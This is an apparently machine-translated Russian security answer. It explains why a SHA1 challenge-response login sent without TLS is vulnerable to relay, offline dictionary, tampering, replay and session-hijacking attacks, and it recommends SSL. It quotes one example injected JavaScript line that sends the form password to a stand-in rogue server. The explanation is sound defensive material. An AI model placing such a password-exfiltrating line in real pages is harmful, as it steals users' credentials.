Является ли он "достаточно безопасным", это, конечно, только то, на что вы можете ответить как владелец системы.Если ваш ожидаемый злоумышленник неквалифицирован и немотивирован, а влияние сбоя аутентификации низкое, то это так.Если вы защищаете что-либо, имеющее значительную ценность, то это, вероятно, не является достаточно безопасным решением.
Вот несколько векторов атак, для которых этот подход, вероятно, будет уязвим.
Manатаки в середине:
Client Eavesdropper Server
Requests token-------X----------------------->
<--------------------X-------------Sends token
Sends PW hash--------X
Relays client hash ------>
X<-----------Authenticates
Перехватчик прослушивает ответ аутентификации клиента, а затем передает его на сервер.Сервер проверяет правильность и аутентифицирует перехватчик.
Атаки хэширования пароля в автономном режиме
Перехватчик, который может читать сообщения между клиентом и сервером, будет иметь токен и логику(из JavaScript) используется для генерации хеша.Таким образом, злоумышленник узнает H(token + H(password)), token и H(x), где H - алгоритм хеширования криптографа (SHA1).
Затем злоумышленник может выполнить атаку по словарю на ответ клиента наугадать пароль, где злоумышленник может попытаться взломать пароль в автономном режиме, используя атаки по словарю и аналогичные методы.Поскольку злоумышленнику не требуется проходить проверку подлинности на сервере, а может взломать пароль в автономном режиме, можно быстро взломать умеренно-слабые пароли.
Модификация сообщений сервера при передаче
Клиент не может гарантировать целостность сообщений сервера, и сообщения могут быть изменены при передаче.Например, злонамеренный посредник может вставить на страницу HTML строку JavaScript, которая перехватывает пароль через DOM и отправляет его на мошеннический сервер.(Мошеннический посредник может, например, вставить new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value в метод отправки формы.)
Атаки воспроизведения
Если токены сервера повторяются с достаточной частотой,перехватчик может захватить успешную пару токен / ответ.Затем злоумышленник может сделать большое количество запросов на токен, ожидая, пока известный токен не будет переработан.Затем атакующий воспроизводит ответ известного токена на сервер.Сервер сравнивает ответ злоумышленника с ожидаемым ответом и аутентифицирует злоумышленника.
Атаки после аутентификации
После аутентификации сеанса сообщения клиента и сервера продолжают оставатьсяотправлено открытым текстом.Злоумышленник может провести атаку с целью перехвата сеанса, используя файл cookie сеанса клиента, чтобы выдать себя за аутентифицированного клиента.Злоумышленник может также перехватить конфиденциальные данные между сервером и клиентом или изменить данные при передаче, нарушив конфиденциальность, целостность и невозможность отказа от связи клиент-сервер.Например, клиент может отправить ответ для выполнения BenignAction, который злоумышленник изменяет при передаче на GetSecretData.Затем злоумышленник читает ответ, якобы содержащий секретные данные.
Все это говорит о том, что предлагаемый метод может быть не намного более безопасным, чем отправка пароля в виде открытого текста.Если безопасность является проблемой, использование SSL с сертификатом от доверенного ЦС (для практических целей) эффективно предотвратит все эти атаки.